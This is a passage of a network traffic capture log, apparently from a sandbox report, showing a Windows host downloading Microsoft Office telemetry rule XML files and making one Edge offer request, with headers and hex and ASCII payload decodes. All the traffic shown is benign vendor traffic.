ATT="c1a0db0127964674a0d62fde5ab0fe62-6ec4ac45-cebc-4f80-aa83-b6b9d3a86ed7-7719" SP="CriticalCensus" T="Upload-Medium"

Session ID	Source IP	Source Port	Destination IP	Destination Port
92	192.168.2.7	49817	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 07:55:38 UTC	192	OUT	GET /rules/rule701200v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 07:55:38 UTC	515	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 07:55:38 GMT Content-Type: text/xml Content-Length: 1356 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:38 GMT ETag: "0x8DC582BDC681E17" x-ms-request-id: d6bfd382-901e-00ac-633e-38b69e000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T075538Z-164f84587bfsgfx9hC1DFWw1as00000005c0000000007za2 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-18 07:55:38 UTC	1356	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 32 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 58 61 6d 6c 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 58 61 6d 6c 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701200" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Xaml" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenXaml" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
93	192.168.2.7	49816	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 07:55:38 UTC	192	OUT	GET /rules/rule701201v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 07:55:38 UTC	494	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 07:55:38 GMT Content-Type: text/xml Content-Length: 1393 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:51 GMT ETag: "0x8DC582BE3E55B6E" x-ms-request-id: acaa001d-f01e-0003-19b2-374453000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T075538Z-164f84587bf6n6jwhC1DFW90fn00000004tg0000000013bg x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 07:55:38 UTC	1393	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 32 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 58 61 6d 6c 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 58 61 6d 6c 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701201" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Xaml.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenXaml"

Session ID	Source IP	Source Port	Destination IP	Destination Port
94	192.168.2.7	49825	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 07:55:38 UTC	192	OUT	GET /rules/rule700201v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 07:55:38 UTC	494	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 07:55:38 GMT Content-Type: text/xml Content-Length: 1393 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:50 GMT ETag: "0x8DC582BE39DFC9B" x-ms-request-id: 55235507-801e-0015-17af-36f97f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T075538Z-1866b5c5fbb7km9phC1DFWr2sc000000048g00000000cnhy x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 07:55:38 UTC	1393	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 32 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 57 6f 72 64 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 57 6f 72 64 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700201" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Word.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenWord"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
95	192.168.2.7	49820	94.245.104.56	443	7100	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-18 07:55:39 UTC	428	OUT	GET /edgeoffer/pb/experiments?appId=edge-extensions&country=CH HTTP/1.1 Host: api.edgeoffer.microsoft.com Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-18 07:55:39 UTC	584	IN	HTTP/1.1 200 OK Content-Length: 0 Connection: close Content-Type: application/x-protobuf; charset=utf-8 Date: Mon, 18 Nov 2024 07:55:38 GMT Server: Microsoft-IIS/10.0 Set-Cookie: ARRAffinity=44bf434ab6f7c0830d46be44706778b10a42312d4a4ae9076c4e359fcb4c5775;Path=/;HttpOnly;Secure;Domain=api.edgeoffer.microsoft.com Set-Cookie: ARRAffinitySameSite=44bf434ab6f7c0830d46be44706778b10a42312d4a4ae9076c4e359fcb4c5775;Path=/;HttpOnly;SameSite=None;Secure;Domain=api.edgeoffer.microsoft.com Request-Context: appId=cid-v1:48af8e22-9427-456d-9a55-67a1e42a1bd9 X-Powered-By: ASP.NET

Session ID	Source IP	Source Port	Destination IP	Destination Port
96	192.168.2.7	49828	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 07:55:40 UTC	192	OUT	GET /rules/rule702351v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 07:55:40 UTC	515	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 07:55:40 GMT Content-Type: text/xml Content-Length: 1395 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:44 GMT ETag: "0x8DC582BE017CAD3" x-ms-request-id: 0f1e6da1-801e-007b-6baf-36e7ab000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T075540Z-16547b76f7fz92z5hC1DFWmdx800000003t0000000009s83 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 07:55:40 UTC	1395	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 33 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 56 6f 69 63 65 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 56 6f 69 63 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702351" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Voice.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenVoic

Session ID	Source IP	Source Port	Destination IP	Destination Port
97	192.168.2.7	49830	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 07:55:40 UTC	192	OUT	GET /rules/rule701250v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 07:55:40 UTC	494	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 07:55:40 GMT Content-Type: text/xml Content-Length: 1358 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:44 GMT ETag: "0x8DC582BE022ECC5" x-ms-request-id: 99c36cd7-201e-0096-7ccd-37ace6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T075540Z-1866b5c5fbbkbjq9hC1DFWf1es00000004gg0000000023kc x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 07:55:40 UTC	1358	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 32 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 56 69 73 69 6f 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 56 69 73 69 6f 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701250" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Visio" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenVisio" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
98	192.168.2.7	49831	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 07:55:40 UTC	192	OUT	GET /rules/rule701251v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 07:55:40 UTC	515	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 07:55:40 GMT Content-Type: text/xml Content-Length: 1395 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:41 GMT ETag: "0x8DC582BDE12A98D" x-ms-request-id: ebe65da0-001e-0014-21b1-375151000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T075540Z-164f84587bfbvgrghC1DFWbs7w00000005bg00000000fapd x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-18 07:55:40 UTC	1395	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 32 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 56 69 73 69 6f 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 56 69 73 69 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701251" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Visio.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenVisi

Session ID	Source IP	Source Port	Destination IP	Destination Port
99	192.168.2.7	49832	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 07:55:40 UTC	192	OUT	GET /rules/rule700051v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 07:55:40 UTC	494	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 07:55:40 GMT Content-Type: text/xml Content-Length: 1389 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:46 GMT ETag: "0x8DC582BE10A6BC1" x-ms-request-id: c22da945-001e-00ad-15a1-36554b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T075540Z-1866b5c5fbbnjgfwhC1DFW3usc00000000vg000000001uqh x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 07:55:40 UTC	1389	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 30 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 55 58 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 55 58 22 20 53 3d 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700051" V="1" DC="SM" EN="Office.Telemetry.Event.Office.UX.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenUX" S="

Session ID	Source IP	Source Port	Destination IP	Destination Port
100	192.168.2.7	49829	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 07:55:40 UTC	192	OUT	GET /rules/rule702350v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 07:55:40 UTC	515	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 07:55:40 GMT Content-Type: text/xml Content-Length: 1358 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:54 GMT ETag: "0x8DC582BE6431446" x-ms-request-id: 970a151a-f01e-003f-26c9-36d19d000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T075540Z-164f84587bfbvgrghC1DFWbs7w00000005cg00000000duz6 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 07:55:40 UTC	1358	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 33 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 56 6f 69 63 65 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 56 6f 69 63 65 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702350" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Voice" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenVoice" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
101	192.168.2.7	49837	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 07:55:40 UTC	192	OUT	GET /rules/rule700050v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 07:55:41 UTC	515	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 07:55:40 GMT Content-Type: text/xml Content-Length: 1352 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:01 GMT ETag: "0x8DC582BE9DEEE28" x-ms-request-id: 9c6f226a-f01e-003f-6009-37d19d000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T075540Z-16547b76f7fkz9l7hC1DFW35uc00000002kg000000007m7s x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 07:55:41 UTC	1352	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 30 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 55 58 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 55 58 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700050" V="1" DC="SM" EN="Office.Telemetry.Event.Office.UX" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenUX" S="Medium" /> <F T="2"> <O T

Session ID	Source IP	Source Port	Destination IP	Destination Port
102	192.168.2.7	49838	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 07:55:40 UTC	192	OUT	GET /rules/rule702951v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 07:55:41 UTC	494	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 07:55:40 GMT Content-Type: text/xml Content-Length: 1405 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:46 GMT ETag: "0x8DC582BE12B5C71" x-ms-request-id: cf21543a-c01e-0079-7409-37e51a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T075540Z-16547b76f7f64d6whC1DFWf9vn000000046g0000000004v5 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 07:55:41 UTC	1405	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 39 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 72 61 6e 73 6c 61 74 6f 72 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702951" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Translator.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantToke

Session ID	Source IP	Source Port	Destination IP	Destination Port
103	192.168.2.7	49839	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 07:55:40 UTC	192	OUT	GET /rules/rule702950v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 07:55:41 UTC	494	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 07:55:41 GMT Content-Type: text/xml Content-Length: 1368 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:40 GMT ETag: "0x8DC582BDDC22447" x-ms-request-id: 969097d6-001e-0046-4dc6-37da4b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T075541Z-16547b76f7f6nr89hC1DFWz7ug00000001sg00000000d17e x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 07:55:41 UTC	1368	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 39 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 72 61 6e 73 6c 61 74 6f 72 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 72 61 6e 73 6c 61 74 6f 72 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702950" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Translator" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTranslator" S="Medium" /> <F T=

Session ID	Source IP	Source Port	Destination IP	Destination Port
104	192.168.2.7	49841	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
